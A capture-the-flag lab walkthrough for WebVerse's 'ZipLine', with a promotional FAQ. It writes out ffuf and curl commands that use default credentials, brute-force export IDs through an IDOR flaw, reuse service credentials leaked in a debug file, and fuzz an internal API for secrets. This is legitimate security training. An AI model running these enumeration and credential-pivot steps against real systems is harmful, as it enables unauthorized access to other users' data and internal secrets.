WebVerse - ZipLine

Lab: Zipline

Difficulty: Medium
Theme: Export download BOLA/IDOR → debug artifact leak → internal API pivot → endpoint fuzzing
Goal: Obtain the flag
Entry: http://zipline.local

TL;DR

1. Log into Zipline (admin:admin).
2. Identify the export download route: GET /api/v1/exports/{public_id}/download.
3. Exploit BOLA/IDOR by fuzzing {public_id} to download an export you don’t own.
4. Extract debug_attachment.json from the zip to leak the internal subdomain + internal login route + credentials.
5. Authenticate to the internal API on internal-api.zipline.local to obtain a bearer token.
6. Fuzz /api/v2/user/ for endpoints using the bearer token until you find the sensitive one (ex: /config).
7. Request that endpoint and retrieve the flag from the returned JSON.

Setup Notes: Hostnames Matter

Zipline is split across multiple virtual hosts behind a router, so you must resolve both hostnames.

Add this entry to /etc/hosts pointing at the lab IP WebVerse gives you:

127.0.0.1 zipline.local

Recon

Landing on http://zipline.local gives a simple “Case Export Portal” vibe: login → dashboard → exports.

When an app’s core feature is download exports by ID, the first thing I’m thinking is whether those IDs are enforced with real ownership checks — or whether I can request someone else’s export just by changing a number.

Login

There’s no registration flow, so I try the obvious default:

• admin : admin

That drops me into /dashboard, and from there it’s straight into the export functionality.

Enumeration: Finding the Export Download Endpoint

Head to:

• /dashboard/exports

You’ll see an exports list with a Download button. Clicking it reveals the important pattern:

• /api/v1/exports/<public_id>/download

That numeric public_id is the handle we can potentially abuse.

The Bug: BOLA / IDOR on Download

Intercept a download request with Burp:

GET /api/v1/exports/3/download HTTP/1.1
Host: zipline.local
Cookie: zipline_token=<JWT>

From here, the test is simple: keep the session, change the ID.

Most guesses return 404 — which is perfect, because it means fuzzing will stand out immediately when something hits.

Exploitation Part 1: Fuzzing public_id

Generate a quick ID list and brute force the download endpoint:

seq 1 1000 > nums.txt

ffuf -u 'http://zipline.local/api/v1/exports/FUZZ/download' -H 'Cookie: zipline_token=<YOUR_TOKEN>' -mc all --fc 404 -w nums.txt

When you get a non-404 result, download it:

curl 'http://zipline.local/api/v1/exports/564/download' -H 'Cookie: zipline_token=<YOUR_TOKEN>' -o export_564.zip

Looting the ZIP: Debug Attachment Leak

Extract the export:

unzip export_564.zip

cat debug_attachment.json| jq .

Alongside the expected export files is the interesting one:

• debug_attachment.json

This file contains internal-only data that should never leave the backend:

• an internal base URL / hostname
• a login route
• service credentials
• and enough structure to show how the internal login expects the request body

Pivot: Reaching the Internal API

The debug attachment points at:

• internal-api.zipline.local

If you haven’t already mapped that hostname, add it. Once it resolves, the internal API is reachable.

Internal API Login: Parameters and Alternatives

The debug attachment leaks credentials in a structure that looks like:

"credentials": {
"username": "...",
"password": "..."
}

So the login JSON is straightforward:

curl -s -X POST "http://internal-api.zipline.local/api/v2/user/login" -H 'Content-Type: application/json' -d '{"username":"svc-exporter","password":"Spring2026!RotateMe"}' | jq .

If you didn’t get that structure and only had a raw credential, there are two typical ways to proceed:

• Try common key names (username/password, email/password, user/pass) and compare error messages
• Fuzz parameter names with a short list until the server stops complaining about “missing field” and starts validating credentials

Save the token:

TOKEN=$(curl -s -X POST "http://internal-api.zipline.local/api/v2/user/login" -H 'Content-Type: application/json' -d '{"username":"svc-exporter","password":"Spring2026!RotateMe"}' | jq -r .access_token)

Exploitation Part 2: Fuzzing /api/v2/user/

At this point we’ve got:

• an internal base host
• a working bearer token
• and a base API namespace: /api/v2/user/

So the next move is endpoint discovery.

ffuf -u 'http://internal-api.zipline.local/api/v2/user/FUZZ' -H "Authorization: Bearer $TOKEN" -mc all --fc 404 -w ~/tools/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt

You’ll typically see a few standard hits like me, and eventually a more sensitive endpoint will show up (in this lab, config).

Getting the Flag

Request the endpoint you discovered via fuzzing:

curl -s 'http://internal-api.zipline.local/api/v2/user/config' -H "Authorization: Bearer $TOKEN" | jq .

The response is a JSON configuration object. The flag is embedded inside the returned data (inside a secrets-style field).

Wrap-Up: What Zipline Teaches

Zipline is a clean chain showing how “small” issues compound:

• BOLA/IDOR on export downloads: changing an ID leaks other user's exports
• Debug artifact exposure: internal hostname + login details + creds get bundled into an export
• Internal discovery via fuzzing: once authenticated internally, endpoint enumeration under /api/v2/user/ leads to sensitive routes that expose secrets

Chain: export IDOR → debug leak → internal API auth → fuzz /api/v2/user/* → sensitive endpoint → flag

FAQ: ZipLine (WebVerse) — BOLA/IDOR, Debug Artifact Leaks, Internal API Pivoting, and Endpoint Fuzzing

What is the ZipLine WebVerse lab?

ZipLine is a medium-difficulty WebVerse web/API security lab focused on a chained exploit path that starts with an export download BOLA/IDOR and ends with an internal API pivot and sensitive endpoint discovery.

It teaches how a seemingly simple object-level authorization flaw can compound into internal service access and secret exposure.

What vulnerability is demonstrated in ZipLine?

ZipLine demonstrates a BOLA/IDOR (Broken Object Level Authorization / Insecure Direct Object Reference) vulnerability on an export download endpoint:

• GET /api/v1/exports/{public_id}/download

By changing the public_id, an authenticated user can download exports they do not own. This leads to unauthorized data access and, in the lab, a debug artifact leak that exposes internal service details.

Is ZipLine an IDOR or a BOLA vulnerability?

It maps to both, depending on the terminology you use:

• IDOR (Insecure Direct Object Reference): changing an object identifier to access another user’s object
• BOLA (Broken Object Level Authorization): the API does not enforce proper ownership checks on object access

In ZipLine, the export download route is a classic example of object-level authorization failure.

Why is an export download endpoint a common BOLA/IDOR target?

Export download endpoints are common BOLA/IDOR targets because they often use predictable object identifiers (numeric IDs, UUIDs, public IDs) and developers sometimes assume “knowing the ID” is enough.

If the backend does not verify ownership for each request, attackers can enumerate IDs and retrieve:

• other user's exports
• reports
• attachments
• archived documents
• debug artifacts

ZipLine demonstrates exactly this pattern.

What is the debug artifact leak in ZipLine?

After exploiting the export download BOLA/IDOR, the downloaded ZIP contains a debug_attachment.json file that should never be included in a user-facing export.

This debug artifact leaks internal-only information such as:

• internal hostname / base URL
• internal login route
• service credentials
• request structure hints

This is a realistic example of sensitive data exposure through debug artifacts and improperly sanitized export pipelines.

Why is leaking internal hostnames and service credentials dangerous?

Leaking internal hostnames and service credentials is dangerous because it allows attackers to pivot from a public-facing app into internal services.

In ZipLine, the debug artifact provides enough information to:

1. identify the internal API hostname
2. authenticate to the internal API
3. obtain a bearer token
4. enumerate internal endpoints for sensitive functionality

This turns a “single export download flaw” into a broader compromise chain.

What does ZipLine teach about internal API pivoting?

ZipLine teaches a common real-world attack pattern:

• compromise or abuse a public-facing feature
• extract internal environment details
• authenticate to an internal service using leaked credentials
• perform endpoint discovery / API fuzzing
• access sensitive configuration or secrets

This is an internal API pivot workflow, and it’s one of the most important lessons in modern web/API exploitation.

Why is endpoint fuzzing important after gaining an internal bearer token?

Once you have a valid bearer token and a base API namespace (like /api/v2/user/), endpoint fuzzing becomes the fastest way to expand the attack surface.

In ZipLine, endpoint fuzzing helps identify sensitive internal routes (such as a config-style endpoint) that are not obvious from the public app and may expose secrets or operational data.

This is a key API reconnaissance skill in both labs and real assessments.

What type of sensitive endpoint is exposed in ZipLine?

ZipLine’s internal API includes a sensitive configuration-style endpoint (for example, /api/v2/user/config) that returns JSON containing internal settings and secrets, including the flag.

This demonstrates how internal APIs often expose powerful or sensitive endpoints that become reachable only after an attacker successfully pivots inward.

What does ZipLine teach about exploit chaining in API security?

ZipLine teaches that API compromises often happen through multiple linked weaknesses, not one “magic” bug.

The chain in ZipLine is:

• export download BOLA/IDOR
• debug artifact leak
• internal API authentication using leaked credentials
• endpoint fuzzing under /api/v2/user/
• sensitive endpoint discovery
• flag retrieval from returned JSON

This is a great example of how authorization flaws + information disclosure + internal pivoting can stack into a full compromise.

Is ZipLine good for learning BOLA/IDOR and API recon?

Yes — ZipLine is an excellent lab for learning:

• BOLA/IDOR testing on API endpoints
• object ID enumeration/fuzzing
• debug artifact and ZIP loot analysis
• internal API login and bearer token handling
• endpoint fuzzing and API reconnaissance
• identifying sensitive JSON/config responses

It’s a strong mid-level lab because the chain is realistic without becoming overwhelming.

Can I practice ZipLine and similar labs online?

Yes — you can practice ZipLine and other WebVerse web and API security labs at webverselabs.com.

WebVerse is built for hands-on practice with realistic exploit chains involving BOLA/IDOR, information disclosure, internal API pivoting, endpoint fuzzing, and sensitive data exposure.